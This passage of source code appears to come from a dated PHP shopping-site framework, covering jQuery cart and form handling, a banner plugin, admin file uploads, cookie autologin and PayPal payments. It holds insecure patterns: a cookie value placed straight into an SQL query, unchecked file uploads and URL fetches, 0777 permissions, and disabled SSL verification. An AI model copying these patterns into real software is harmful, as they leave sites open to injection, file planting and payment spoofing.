"step3-form"] )) { form.find(':input') .not(':button, :submit, :reset, :hidden') .val('') .attr('checked', false) .attr('selected', false); } else { } } } }); e.preventDefault(); }); } }; /* ============ CART ============ */ (function() { if (shoppingCartList.length > 0 || orderCartList.length > 0) { var prefix = 'shopping'; if (orderCartList.length > 0) { shoppingCartList = orderCartList; prefix = 'order'; if (shoppingCartBtn.length > 0) shoppingCartBtn.remove(); } var shoppingCartListInit = function() { //$('UL#' + prefix + '-cart-entries').children('LI').children('UL').each(function() shoppingCartList.find('TABLE.list TBODY TR').each(function() { var quantityLi = $(this).children('TD.quantity').first(), minusBtn = quantityLi.children('A.quantity-minus-btn').first(), quantityInp = quantityLi.children('INPUT[type=text]').first(), quantity = 1, plusBtn = quantityLi.children('A.quantity-plus-btn').first(), quantityModified = false, refreshQuantity = function() { var newQuantity = quantity; if ($.isNumeric(quantityInp.val())) { newQuantity = Math.max(1, Math.min(999, parseInt(quantityInp.val()))); } if (quantity != newQuantity) { quantityModified = true; quantity = newQuantity; } quantityInp.val(quantity); }, actionLi = $(this).children('TD.action'), removeBtn = actionLi.children('A.icon-button'); refreshQuantity(); quantityModified = false; minusBtn .removeAttr('href') .click(function(e) { if (quantity > 1) { quantity--; quantityInp.val(quantity); quantityModified = true; } e.preventDefault(); }) .mouseleave(function(e) { if (quantityModified) { shoppingCartList.submit(); quantityModified = false; } e.preventDefault(); }); plusBtn .removeAttr('href') .click(function(e) { quantity++; quantityInp.val(quantity); quantityModified = true; e.preventDefault(); }) .mouseleave(function(e) { if (quantityModified) { shoppingCartList.submit(); quantityModified = false; } e.preventDefault(); }); quantityInp.blur(function() { refreshQuantity(); if (quantityModified) { shoppingCartList.submit(); quantityModified = false; } }); removeBtn.removeAttr('href').click(function(e) { quantity = 0; quantityInp.val(quantity); shoppingCartList.submit(); e.preventDefault(); }); }); }; shoppingCartList.submit(function(e) { $.ajax( { url : shoppingCartList.attr('action'), type : shoppingCartList.attr('method'), data : shoppingCartList.serialize(), dataType : 'text', success : function(data) { shoppingCartList.empty(); shoppingCartList.html(data); shoppingCartListInit(); win.resize(); } }); e.preventDefault(); }); shoppingCartListInit(); } })(); /* ================= NAV EXTRA ================= */ (function() { var p = (navExtra.width() - navExtraList.width()) * .5; navExtraList.css({ width: navExtra.width() - p, paddingLeft: p }); var panelBtns = $([]); if (bookmarkShareBtn.length > 0 && bookmarkSharePanel.length > 0) { panelBtns.push(bookmarkShareBtn.data('panel', bookmarkSharePanel)); } if (subscribeBtn.length > 0 && newsletterPanel.length > 0) { panelBtns.push(subscribeBtn.data('panel', newsletterPanel)); } if (shoppingCartBtn.length > 0 && shoppingCartPanel.length > 0) { panelBtns.push(shoppingCartBtn.data('panel', shoppingCartPanel)); } var select = function(btn) { if (!btn.hasClass('selected')) { var panel = btn.addClass('selected').data('panel'); panelBtns.each(function() { if (btn != this) deSelect(this); }); panel.stop().css('visibility', 'visible').fadeTo('slow', 1); if (btn === subscribeBtn) { newsletterForm[0].reset(); newsletterFormMsg.empty(); } } }, deSelect = function(btn) { if (btn.hasClass('selected')) { var panel = btn.removeClass('selected').data('panel'); panel.stop().fadeTo('fast', 0, function() { panel.css('visibility', 'hidden'); }); } }, toggle = function(btn) { if (btn.hasClass('selected')) deSelect(btn); else select(btn); }; panelBtns.each(function() { var btn = this, panel = btn.data('panel'), panelX = panel.children('header').first().children('a.icon-button').has('span.x-icon').first(); if (btn.hasClass('selected')) panel.css('visibility', 'visible'); else panel.fadeTo(0, 0); btn.click(function() { toggle(btn); }); panelX.click(function() { deSelect(btn); }); }); })(); /* ======================= SAME AS BILLING ======================= */ (function() { var initSameAsBilling = function(sameAsBilling, billingForm, shippingForm) { if (sameAsBilling.length > 0 && billingForm.length > 0 && shippingForm.length > 0) { sameAsBilling.change(function() { if (sameAsBilling.is(':checked')) { billingForm.find(':input').each(function() { var el = $(this), el2 = shippingForm.find('[name=' + el.attr('name').replace('billing', 'shipping') + ']'); el2.val(el.val()); if (el2.is('select') && el2.change) el2.change(); }); } }); } }; initSameAsBilling($('INPUT#same-as-billing'), $('#billing-form'), $('#shipping-form')); })(); /* ======================= NEWSLETTER FORM ======================= */ initAjaxForm ( $('FORM#newsletter-form'), $('INPUT#newsletter-form-submit-btn'), $('LI#newsletter-form-msg') ); /* ==================== CONTACT FORM ===================== */ initAjaxForm ( $('DIV#contact-form').children('FORM').first(), $('INPUT#contact-form-submit-btn'), $('LI#contact-form-msg') ); /* ==================== SIGN IN FORM ==================== */ initAjaxForm ( $('FORM#sign-in-form'), $('INPUT#sign-in-form-submit-btn'), $('LI#sign-in-form-msg') ); /* ====================== JOB APPLY FORM ====================== */ initAjaxForm ( $('#apply-form').children('FORM'), $('INPUT#apply-form-submit-btn'), $('LI#apply-form-msg') ); /* ==================== COMMENT FORM ==================== */ initAjaxForm ( $('#comment-form').children('FORM'), $('INPUT#comment-form-submit-btn'), $('LI#comment-form-msg') ); /* ==================== RECOVER FORM ==================== */ initAjaxForm ( $('FORM#recover-form'), $('INPUT#recover-form-submit-btn'), $('LI#recover-form-msg') ); /* ===================== REGISTER FORM ===================== */ initAjaxForm ( $('FORM#register-form'), $('INPUT#register-form-submit-btn'), $('LI#register-form-msg') ); /* ========================= ACCOUNT INFO FORM ========================= */ initAjaxForm ( $('FORM#account-info-form'), $('INPUT#account-info-form-submit-btn'), $('LI#account-info-form-msg') ); /* ====================== SHOP INFO FORM ====================== */ initAjaxForm ( $('FORM#shop-info-form'), $('INPUT#shop-info-form-submit-btn'), $('LI#shop-info-form-msg') ); if ($('#shop-info-form').length){ form = $('#shop-info-form'); sel = form.find("select[name='user_billing_country']"); sel.val( sel.attr("data-selected") ); sel2 = form.find("select[name='user_shipping_country']"); sel2.val( sel2.attr("data-selected") ); } /* ================= COUNTDOWN ================= */ (function() { $('UL.timer').each(function() { var ul = $(this), ul_parent = ul.parent(); refresh = false, daysNum = ul.find('LI.days > SPAN.num').first(), hoursNum = ul.find('LI.hours > SPAN.num').first(), minutesNum = ul.find('LI.minutes > SPAN.num').first(), secondsNum = ul.find('LI.seconds > SPAN.num').first(), timeError = (typeof ul.data('server-time') == 'undefined') ? 0 : parseFloat(ul.data('server-time')) * 1000 - (new Date).getTime(), endMs = (new Date(ul.data('year'), parseInt(ul.data('month')) - 1, ul.data('day'), ul.data('hour'), ul.data('minute'), ul.data('second'), 0)).getTime(), update = function() { var initDif, dif = initDif = Math.floor(Math.max(0, endMs - (new Date).getTime() - timeError) / 1000); var days = Math.floor(dif / 86400); if (days > 999) days = 999; else if (days < 10) days = '00' + days; else if (days < 100) days = '0' + days; dif = dif % 86400; var hours = Math.floor(dif / 3600); if (hours > 23) hours = 23; else if (hours < 10) hours = '0' + hours; dif = dif % 3600; var minutes = Math.floor(dif / 60); if (minutes > 59) minutes = 59; else if (minutes < 10) minutes = '0' + minutes; dif = dif % 60; var seconds = Math.floor(dif); if (seconds > 59) seconds = 59; else if (seconds < 10) seconds = '0' + seconds; daysNum.html(days); hoursNum.html(hours); minutesNum.html(minutes); secondsNum.html(seconds); if (initDif > 0) setTimeout(function() { update(); }, 1000); else if (refresh) window.location.reload(true); refresh = true; }; update(); var padd=Math.floor((ul_parent.width()-ul.width())/2); ul.css({'padding-left':padd+'px','padding-right':padd+'px',}) }); })(); /* =================== STEP 1 FORM =================== */ initAjaxForm ( $('FORM#step1-form'), $('INPUT#step1-form-submit-btn'), $('LI#step1-form-msg') ); if ($('#step1-form').length){ form = $('#step1-form'); sel = form.find("select[name='order_billing_country']"); sel.val( sel.attr("data-selected") ); sel2 = form.find("select[name='order_shipping_country']"); sel2.val( sel2.attr("data-selected") ); } /* =================== STEP 2 FORM =================== */ initAjaxForm ( $('FORM#step2-form'), $('INPUT#step2-form-submit-btn'), $('LI#step2-form-msg') ); /* =================== STEP 4 FORM =================== */ initAjaxForm ( $('DIV#authorize > FORM'), $('INPUT#cc-form-submit-btn'), $('LI#cc-form-msg') ); /* ========================= ASK QUESTION FORM ========================= */ initAjaxForm ( $('FORM#ask-question-form'), $('INPUT#ask-question-form-submit-btn'), $('LI#ask-question-form-msg') ); /* ============================ THUMBS LISTING CLEAR ============================ */ (function() { $('DIV.thumbs-listing').each(function() { var ul = $(this).children('UL').first(); ul.children('LI').each(function(i) { if ( ul.hasClass('three-cols') && i % 3 == 0 || ul.hasClass('four-cols') && i % 4 == 0 || ul.hasClass('five-cols') && i % 5 == 0 || ul.hasClass('six-cols') && i % 6 == 0 || ul.hasClass('seven-cols') && i % 7 == 0 ) { $(this).css('clear', 'left'); } }); }); })(); /* ===================================== FIX MODULE HEADER NAV BUTTONS ===================================== */ $('DIV.module').children('header').has('UL.module-header-nav-btns').each(function() { var header = $(this); if (header.children('UL.module-header-nav-btns').first().is(':last-child')) { header.addClass('next-prev-to-right'); } }); /* ========================== ADD TO CART BUTTON ========================== */ (function() { $('INPUT.product-add-to-cart-btn').each(function() { var submitBtn = $(this), form = submitBtn.closest('FORM').first(); form.submit(function(e) { $.ajax( { url : form.attr('action'), type : form.attr('method'), data : form.serialize(), dataType : 'text', success : function(data) { shoppingCartList.submit(); showNotification(data); } }); e.preventDefault(); }); }); })(); /* ======================= PRODUCT REVIEWS ======================= */ (function() { var productReviews = $('ARTICLE#product-reviews'); if (productReviews.length > 0) { var productReviewsList = productReviews.children('UL#product-reviews-list'), loadMoreBtn = productReviews.children('A#load-more-product-reviews'), loadMoreAction = loadMoreBtn.attr('href'), pageCount = 2; loadMoreBtn.removeAttr('href').click(function(e) { if (!loadMoreBtn.hasClass('disabled')) { loadMoreBtn.addClass('disabled'); $.ajax( { url : loadMoreAction, type : 'post', data : 'pid=' + loadMoreBtn.data('pid') + '&p=' + pageCount, dataType : 'text', success : function(data) { if (data != '') { //console.log(data); productReviewsList.append(data); loadMoreBtn.removeClass('disabled'); win.resize(); } else { loadMoreBtn.remove(); } } }); pageCount++; } e.preventDefault(); }); initAjaxForm ( $('FORM#review-form'), $('INPUT#review-form-submit-btn'), $('LI#review-form-msg') ); } })(); /* ====================== TABBED CONTENT ====================== */ (function() { var lis = $('UL').children('LI[data-content]'); if (lis.length > 0) { var selected = false; lis.each(function() { var li = $(this), content = $('#' + li.data('content')); if (content.length > 0) { li.data('content', content); if (li.hasClass('selected') && !selected) { selected = li; content.css('display', 'block'); } else { li.removeClass('selected'); content.css('display', 'none'); } li.click(function(e) { if (!li.hasClass('selected')) { if(selected) { selected.removeClass('selected'); selected.data('content').css('display', 'none'); } selected = li; li.addClass('selected'); content.css('display', 'block'); } win.resize(); e.preventDefault(); e.stopPropagation(); }); win.resize(); } }); } })(); /* ============================ BACKGROUND SLIDESHOW ============================ */ var bgImageResize = function(img) { return img .css(getScale(img.data('ow'), img.data('oh'), win.width(), win.height(), 'forceFill')) .css(getPosition(img.width(), img.height(), win.width(), win.height())); }; (function() { bgSlideshow.on('contextmenu mousedown', function(e) { e.preventDefault(); }); var ul = bgSlideshow.children('ul').first(), images = [], numImages = 0; ul.children('li').each(function(i) { images[i] = $(this).children('img').first().data('src'); numImages++; }); ul.remove(); ul = null; if (numImages > 0) { arrayShuffle(images); var crtIndex = 0, crtImage = false, newImage = false, timer = false, displayNewImage = function() { if (timer) { clearTimeout(timer); timer = false; } newImage = $('<img>') .fadeTo(0, 0) .load(function() { bgSlideshow.append(newImage); if (crtImage) bgImagesToResize = [crtImage, newImage]; else bgImagesToResize = [newImage]; bgImageResize(newImage.data({ ow: newImage.width(), oh: newImage.height() })) .fadeTo(crtImage ? 5000 : 0, 1, function() { if (crtImage) crtImage.remove(); crtImage = newImage; bgImagesToResize = [crtImage]; if (numImages > 1) { timer = setTimeout(function() { if (crtIndex >= numImages - 1) crtIndex = 0; else crtIndex++; displayNewImage(); }, 15000); } }); }) .attr('src', images[crtIndex]); }; displayNewImage(); } })(); /* ===================== MESSAGE BOXES ===================== */ (function() { $('DIV.message').one('click', function(e) { var msg = $(this); msg.fadeTo('slow', 0, function() { msg.remove(); win.resize(); }); e.preventDefault(); }); })(); /* ===================== PAYMENT FORMS ===================== */ (function() { if($('DIV#shop-step4-module').length > 0) { var initPaymentForm = function(formWrapper) { var form = formWrapper.children('form').first(); if (form.length > 0) { var formSubmitBtn = form.find('INPUT[type=submit]').first(), formMsg = form.find('LI').has('DIV.wait').first(), waitMsg = formMsg.html(); formMsg.empty(); form.submit(function(e) { formMsg.html(waitMsg); formSubmitBtn.attr('disabled', true); $.ajax( { url : form.attr('action'), type : form.attr('method'), data : form.serialize(), dataType : 'text', success : function(data) { formWrapper.html(data); win.resize(); } }); e.preventDefault(); }); } }; initPaymentForm($('DIV#paypal')); initPaymentForm($('DIV#offline')); initPaymentForm($('DIV#pay-with-moneybookers')); } })(); /* ============================ HANDLE WINDOW RESIZE ============================ */ function makeScrollable(wrapper, scrollable){ // Get jQuery elements var wrapper = $(wrapper), scrollable = $(scrollable); wrapper.css({overflow: 'hidden'}); enable(); function enable(){ // height of area at the top at bottom, that don't respond to mousemove var inactiveMargin = 99; // Cache for performance var wrapperWidth = wrapper.width(); var wrapperHeight = wrapper.height(); // Using outer height to include padding too var scrollableHeight = scrollable.outerHeight() + 2*inactiveMargin; var lastTarget; //When user move mouse over menu wrapper.mousemove(function(e){ // Save target lastTarget = e.target; var wrapperOffset = wrapper.offset(); // Scroll menu var top = (e.pageY - wrapperOffset.top) * (scrollableHeight - wrapperHeight) / wrapperHeight - inactiveMargin; if (top < 0){ top = 0; } wrapper.scrollTop(top); }); // Setting interval helps solving perfomance problems in IE var interval = setInterval(function(){ if (!lastTarget) return; }, 200); }} mainMenu.wrap('<div class="sc_menu_wrapper"><div class="sc_menu">'); var mainMenuCont = $('DIV.sc_menu_wrapper '); win .resize(function() { contentWrapper .width(win.width() - contentWrapper.offset().left) .css('top', Math.max(0, (win.height() - contentWrapper.outerHeight()) * .5)); mainMenuCont.height(win.height() - mainMenuCont.position().top - navExtra.height()); makeScrollable("div.sc_menu_wrapper", "div.sc_menu"); var i = bgImagesToResize.length; while (i--) { bgImageResize(bgImagesToResize[i]); } }) .one('load', function() { win.resize(); }) .resize(); /* ==================== PRETTY PHOTO ==================== */ if ($.prettyPhoto) { $("a[rel^='prettyPhoto']").prettyPhoto(); } /* ==================== SET HEIGHT ==================== */ if (four_cols.length || three_cols.length){ var temp_h=0; thumbs_listing.children('ul').children('li').each(function(){ var li = $(this).children('.caption'); if (li.height()>temp_h){ temp_h=li.height(); } }); thumbs_listing.children('ul').children('li').children('.caption').css('height',temp_h) } /* ==================== SET HEIGHT ==================== */ if (scroll_pane.length) scroll_pane.jScrollPane({ horizontalDragMinWidth: 26, horizontalDragMaxWidth: 26 }); /* ==================== SHOWREEL ==================== */ if (showreel.length) var data_stay=showreel.find('.slides_container').attr('data-stay')*1000; showreel.slides({ preload: true, preloadImage: 'css/img/slidesjs/loading.gif', play: data_stay, pause: 2500, hoverPause: true, animationStart: function(current){ $('.caption').animate({bottom:-40},100); $('.optional').animate({opacity:0},100); }, animationComplete: function(current){ $('.caption').animate({bottom:0},200); $('.optional').animate({opacity:1},300); }, slidesLoaded: function() { $('.caption').animate({bottom:0},200); } }); $('.bordered').hover( function(){ $(this).animate({ borderLeftWidth: "7px", borderTopWidth: "7px", borderRightWidth: "7px", borderBottomWidth: "7px",width:'-=14',height:'-=14',opacity:0.40}, 100); }, function(){ $(this).animate({ borderLeftWidth: "0px", borderTopWidth: "0px", borderRightWidth: "0px", borderBottomWidth: "0px",width:'+=14',height:'+=14',opacity:0}, 100); } ) /* ===================== FORMS STYLING ===================== */ if ($.jqTransform || $.fn.jqTransform) { $("FORM").jqTransform(); } }); function loadComments(url , page) { $.ajax( { url : "ajax.comments.php", type : "post", data : "url=" + escape(url) + "&page=" + page, dataType : 'text', success : function(data) { $('#comments-data').html(data); } }); } ``` site.banner.php ```<?php /* OXYLUS Development web framework copyright (c) 2002-2011 OXYLUS Development web: www.oxylus.ro mail: support@oxylus.ro $Id: name.php,v 0.0.1 dd/mm/yyyy hh:mm:ss oxylus Exp $ description */ // dependencies /** * description * * @library * @author * @since */ class COXYMallBanner extends CPlugin{ var $tplvars; function COXYMallBanner() { //$this->CPlugin($db, $tables , $templates); } function DoEvents(){ global $base, $_CONF, $_TSM , $_VARS , $_USER , $_BASE , $_SESS; parent::DoEvents(); if (strstr($_GET["sub"] , "oxymall.plugin.banner.")) { $sub = str_replace("oxymall.plugin.banner." , "" ,$_GET["sub"]); $action = $_GET["action"]; $this->__init(); $this->tpl_module = $this->module->plugins["modules"]->LoadModuleInfo(); switch ($sub) { case "landing": return $this->Landing(); break; } } } function __init() { global $_CONF; if ($this->__inited) { return ""; } $this->__inited = true; $path = $this->tpl_path; $templates = array( "landing" => "main.htm", ); foreach ($templates as $key => $val) { $this->private->templates[$key] = new CTemplateDynamic( $path . $val ); } } /** * description * * @param * * @return * * @access */ function Landing() { global $base; $images = $this->db->QFetchRowArray( "SELECT * FROM {$this->tables['plugin:banner_images']} " . "WHERE module_id={$this->tpl_module[mod_id]} ORDER BY item_order ASC" ); $texts = $this->db->QFetchRowArray( "SELECT * FROM {$this->tables['plugin:banner_texts']} " . "WHERE module_id={$this->tpl_module[mod_id]}" ); if (is_array($texts)) { foreach ($texts as $key => $val) { $val["item_width"] = $val["item_set_description_width"] ? $val["item_set_description_width"] : $this->tpl_module["settings"]["set_description_width"]; $_texts[$val["item_parent"]][] = $val; } } if (is_array($images)) { foreach ($images as $key => $val) { switch ($val["item_type"]) { case "1": $val["item_url"] = $val["item_url"] ? $val["item_url"] : "#"; $images[$key]["type"] = $this->private->templates["landing"]->blockreplace( "Image" , $val ); break; case "2": if (stristr($val["item_video"] , "youtube.com")) { preg_match("#(?<=v=)[a-zA-Z0-9-]+(?=&)|(?<=v/)[^&\n]+(?=\?)|(?<=v=)[^&\n]+|(?<=youtu.be/)[^&\n]+#", $val["item_video"], $vars); //parse_str( parse_url( $val["item_video"], PHP_URL_QUERY ), $vars); if ($vars["0"]) { $val["video"] = "http://www.youtube.com/embed/" . $vars["0"]; } } else { if (stristr($val["item_video"] , "vimeo.com")) { $url = parse_url($val["item_video"], PHP_URL_PATH); $val["video"] = "http://player.vimeo.com/video{$url}?title=0&amp;byline=0&amp;portrait=0"; } } $images[$key]["type"] = $this->private->templates["landing"]->blockreplace( "Video" , $val ); break; } $images[$key]["texts"] = $_texts[$val["item_id"]] ? $base->html->table( $this->private->templates["landing"], "Texts" , $_texts[$val["item_id"]] ) : ""; } } return $this->private->templates["landing"]->BlockreplacE( "Main" , array( "slides" => $base->html->table( $this->private->templates["landing"], "Images" , $images ), "title" => $this->tpl_module["mod_long_name"], "stay" => $this->tpl_module["settings"]["set_stay"], "comments" => $this->module->plugins["comments"]->Comments( $this->tpl_module["mod_url"] . "/" , $this->tpl_module["settings"]["set_fbcomments"] ), ) ); } function GenerateXml() { global $base; $this->module->plugins["modules"]->MimeXML(); $this->tpl_module = $this->module->plugins["modules"]->LoadModuleInfo(); $template = new CTemplate($this->tpl_path . "main.xml"); if ($this->tpl_module["settings"]["set_reverseorder"]) { //load the images for this module $images = $this->db->QFetchRowArray( "SELECT * FROM {$this->tables['plugin:banner_images']} " . "WHERE module_id={$this->tpl_module[mod_id]} ORDER BY item_order DESC" ); } else { $images = $this->db->QFetchRowArray( "SELECT * FROM {$this->tables['plugin:banner_images']} " . "WHERE module_id={$this->tpl_module[mod_id]} ORDER BY item_order ASC" ); } if (is_array($images)) { //read the texts for each item foreach ($images as $key => $val) { $images[$key]["items"] = $base->html->table( $template , "Texts" , $this->db->QFetchRowArray( "SELECT * FROM {$this->tables['plugin:banner_texts']} WHERE item_parent={$val[item_id]}" ) ); } } $this->module->EncodeItems( &$images, array( "item_url" , ) ); if (is_array($images)) { foreach ($images as $key => $val) { $images[$key]["ext"] = $val["item_swf"] ? "swf" : "jpg"; } } return CTemplateStatic::Replace( $template->blockReplace( "Main" , array( "mod_title" => $this->tpl_module["mod_long_name"], "mod_url" => $this->tpl_module["mod_url"], "images" => $base->html->Table( $template, "Images", $images ) ) ), $this->tpl_module["settings"] ); } function AlternateContent() { global $base; $this->tpl_module = $this->module->plugins["modules"]->LoadModuleInfo(); $template = new CTemplate($this->tpl_path . "main.htm"); $images = $this->db->QFetchRowArray( "SELECT * FROM {$this->tables['plugin:banner_images']} " . "WHERE module_id={$this->tpl_module[mod_id]} ORDER BY item_order ASC" ); if (is_array($images)) { foreach ($images as $key => $val) { $images[$key]["src"] = $template->blockReplace($val["item_type"] == "1" ? "Image" : "Swf" , $val); } } return CTemplateStatic::Replace( $template->blockReplace( "Main" , array( "mod_title" => $this->tpl_module["mod_long_name"], "images" => $base->html->Table( $template, "Images", $images ) ) ), $this->tpl_module["settings"] ); } function GetAllLinks($module , $links) { } } ?>``` error.php ```<?php /* OXYLUS Development web framework copyright (c) 2002-2011 OXYLUS Development web: www.oxylus.ro mail: support@oxylus.ro $Id: name.php,v 0.0.1 dd/mm/yyyy hh:mm:ss oxylus Exp $ description */ // dependencies /** * description * * @library * @author * @since */ class CError{ /** * description * * @param * * @return * * @access */ function Msg($title , $msg , $kill = 0) { echo "<b>$title :</b> $msg"; if ($kill == 1) { die(); } } } ?>``` pre.core.engine.php ```<?php /* OXYLUS Development web framework copyright (c) 2002-2011 OXYLUS Development web: www.oxylus-development.com mail: support@oxylus-development.com $Id: name.php,v 0.0.1 dd/mm/yyyy hh:mm:ss oxylus Exp $ description */ // dependencies global $_ADMIN; if ($_ADMIN) { switch ($_GET["sub"]) { case "core.sqladmin.file.upload": $file = true; case "core.sqladmin.image.upload": set_time_limit(0); //fix the filename if contains spaces if (stristr($_FILES['Filedata']['name'] , " ")) { $_FILES['Filedata']['name'] = str_replace(" " , "_" , $_FILES['Filedata']['name'] ); } $to = '../upload/tmp/'. md5(uniqid(time())) . "_" . $_FILES['Filedata']['name']; if(move_uploaded_file($_FILES['Filedata']['tmp_name'], $to)) { if (!$file) { //check if the image its bigger then 2880x2880 ( the limit that flash cropper can handle ) $image = @getImageSize($to); if ($image == false) { //error reading the image $response = '<response> <status>failed</status> <message>Uploaded file its not a valid image!</message> </response>'; } else { if (($image[0] > 2800 ) || ($image[1] > 2800)) { $img = new CImage(); if ($image[0] > $image[1]) { $img->ResizeImageByWidth( $to , $to . ".tmp", 2800 ); } else { $img->ResizeImageByHeight( $to , $to . ".tmp", 2800 ); } unlink($to); rename($to . ".tmp" , $to); @chmod($to , 0777 ); } } } $response = '<response> <status>ok</status> <filePath>'.$to.'</filePath> <fileName>'.$_FILES["Filedata"]["name"] . '</fileName> </response>'; } else { $response = '<response> <status>failed</status> <message>Server side upload error !</message> </response>'; } echo $response; die(); break; case "core.sqladmin.file.web": $isfile = true; case "core.sqladmin.image.web": $to = '../upload/tmp/'. md5(uniqid(time())) . "_" . basename($_POST['url']); //fix the filename if contains spaces if (stristr($to , " ")) { $to = str_replace(" " , "_" , $to ); } $from = $_POST["url"]; //try to download by blocks $file = @fopen($from,"r"); $file2 = @fopen($to,"w"); if ($file){ while (!feof($file)) { $buffer= fread($file,1024); fwrite($file2 , $buffer ); } fclose($file); fclose($file2); } else { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $from); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); $image = curl_exec($ch); curl_close($ch); SaveFileContents( $to , $image); } if (!$isfile) { //check if the image its bigger then 2880x2880 ( the limit that flash cropper can handle ) $image = getImageSize($to); if ($image == false) { //error reading the image $response = '<response> <status>failed</status> <message>Specified link its not a valid image!</message> </response>'; } else { if (($image[0] > 2800 ) || ($image[1] > 2800)) { $img = new CImage(); if ($image[0] > $image[1]) { $img->ResizeImageByWidth( $to , $to . ".tmp", 2800 ); } else { $img->ResizeImageByHeight( $to , $to . ".tmp", 2800 ); } unlink($to); rename($to . ".tmp" , $to); } } } echo '<response> <status>ok</status> <filePath>'. $to . '</filePath> <fileName>'. basename($from) . '</fileName> </response>'; die(); break; case "core.sqladmin.file.delete": $file = true; case "core.sqladmin.image.delete": $response = '<response> <status>ok</status> <message></message> </response>'; echo $response; die(); break; } } ?> ``` pre.autologin.php ```<?php /* OXYLUS Development web framework copyright (c) 2002-2011 OXYLUS Development web: www.oxylus-development.com mail: support@oxylus-development.com $Id: name.php,v 0.0.1 dd/mm/yyyy hh:mm:ss oxylus Exp $ description */ // dependencies if (!is_array($_SESS["minibase"])) { if ($_COOKIE["autologin"] == "true") { //get the default user $user = $this->db->QFetchArray("SELECT * FROM site_users WHERE `user_login`='$_COOKIE[username]'"); if (is_array($user)) { if ($_COOKIE["keycode"] == md5($user["user_login"] . $user["user_password"])) { $_SESS["minibase"]["raw"] = $user; $_SESS["minibase"]["user"] = 1; } } } } ?>``` library.php ```<?php /* OXYLUS Development web framework copyright (c) 2002-2011 OXYLUS Development web: www.oxylus-development.com mail: support@oxylus-development.com $Id: library.php,v 0.0.1 09/03/2003 20:38:15 Exp $ Abstract Library Class contact: www.oxylus.ro office@oxylus.ro * @library Abstract Library Class * @author OXYLUS [OXYLUS.ro <devel@oxylus.ro>] * @since PHPbase 0.0.1 */ class CLibrary { /** * unique library identifier * * @var string * * @access private */ var $name; /** * constructor which sets the lib`s name * * @param string $name unique library identifier * * @return void * * @acces public */ function CLibrary($name) { $this->name = $name; } } ?>``` pay.paypal.php ```<?php /* OXYLUS Development web framework copyright (c) 2002-2011 OXYLUS Development web: www.oxylus.ro mail: support@oxylus.ro $Id: name.php,v 0.0.1 dd/mm/yyyy hh:mm:ss oxylus Exp $ description */ // dependencies /** * description * * @library * @author * @since */ class CPaypal{ var $tplvars; var $__conf = array( "item_fields" => array( "amount" => "amount", "item" => "item_name", "code" => "item_number", "tax" => "tax", "qty" => "quantity", "weight" => "weight", "weight_unit" => "weight_unit", "shipping" => "shipping", "option_1" => "on0", "option_2" => "on1", "option_1_value" => "os0", "option_2_value" => "os1", "discount" => "discount_amount" ), "button" => "https://www.paypal.com/en_US/i/btn/x-click-but5.gif", "server" => "https://www.paypal.com/cgi-bin/webscr", "server_demo" => "https://www.sandbox.paypal.com/cgi-bin/webscr" ); function CPaypal($login) { $this->__fields["business"] = $login; } /** * description * * @param * * @return * * @access */ function EnableTest() { $this->__conf["server"] = $this->__conf["server_demo"]; } /** * description * * @param * * @return * * @access */ function SetCurrency($code) { $this->currency_code = $code; } function SetPrices($amount , $shipping = 0, $tax = 0 , $discount=0) { $this->__fields["amount"] = number_format($amount , 2); $this->__fields["discount_amount"] = number_format($discount , 2); if ($shipping) $this->__fields["shipping"] = number_format($shipping , 2); if ($tax) $this->__fields["tax"] = number_format($tax , 2); } /** * description * * @param * * @return * * @access */ function SetUrls($return , $cancel = null, $notify = null) { $this->__fields["return"] = $return; if ($cancel) $this->__fields["cancel_return"] = $cancel; if ($notify) $this->__fields["notify_url"] = $notify; $this->__fields["currency_code"] = "USD"; } /** * description * * @param * * @return * * @access */ function Process() { //there is no way i can do it unless write html directly here :(( } /** * description * * @param * * @return * * @access */ function OrderInfo($id , $data = array()) { //detect if its custom info if (is_array($id)) { $this->__fields["custom"] = $id["invoice"]; // if ($id["invoice"]) // $this->__fields["invoice"] = $id["invoice"]; } else { //set the order info $this->__fields["custom"] = $id; } if (is_array($data)) { //check if its a single item if (!$data[key($data)]) { $data = array("1" => $data); //make it act as a single product add & proceed $count = 0; $this->__fields["cmd"] = "_xclick"; $this->__fields["item_name"] = $id["description"]; //check for quantity and make it undefined , usefull for informations } else { //makt it act like a complex shipping cart. $count = 1; $this->__fields["cmd"] = "_cart"; $this->__fields["upload"] = "1"; } //build the cart information now foreach ($data as $key => $val) { $suf = $count == 0 ? "" : "_" . $count; foreach ($this->__conf["item_fields"] as $k => $v) { if ($val[$k]) $this->__fields[$v . "{$suf}"] = $val[$k]; } $count ++; } } } /** * description * * @param * * @return * * @access */ function __drawform() { // $data[] = "<form action=\"{$this->__conf[server]}\" method=\"post\" name=\"pppayment\">\n"; if (is_array($this->__fields)) { foreach ($this->__fields as $key => $val) { $data []= "<input type=\"hidden\" name=\"{$key}\" value=\"{$val}\"/>" ; } } // $data[] = "<center><input type='image' src='{$this->__conf[button]}'/></center>"; // $data[]="</form>"; //$data[] = "<script>function PPSubmit() {document.forms['pppayment'].submit();} setTimeout('PPSubmit()',5000);</script>"; return implode("\n" , $data); } /** * description * * @param * * @return * * @access */ function IPN() { $vars = $_POST; $merchant = curl_init(); set_time_limit(0); if (curl_error($merchant)) //coudnt connect to server return _CONNECTION_FAILED; if ($vars["payment_status"] != "Completed") { //the transaction isnt completd, //need to document in future why. // return -1; } //payment completed so i can continue //prepare the question if (is_array($vars)) { $q = array(); //add the verification var $vars["cmd"] = "_notify-validate"; foreach ($vars as $key => $val) { $q[] = $key . "=" . urlencode(stripslashes($val)); } $question = implode('&' , $q); } // echo "Q: " . $question . "<br>"; curl_setopt ($merchant, CURLOPT_URL,$this->__conf["server"]); curl_setopt ($merchant, CURLOPT_HEADER, 0); curl_setopt ($merchant, CURLOPT_POST, 1); curl_setopt ($merchant, CURLOPT_POSTFIELDS,$question); curl_setopt ($merchant, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt ($merchant, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt ($merchant, CURLOPT_RETURNTRANSFER, 1); $answer = curl_exec ($merchant); echo "A: " . $answer . "<br>"; if ($answer == "VERIFIED") return $this->ReturnAllData($answer); else return false; } /** * description * * @param * * @return * * @access */ function ReturnAllData() { $data = $_POST; return array( "order" => array( //"orderid" => $data["invoice"], "orderdescription" => $data["orderid"], "ipaddress" => 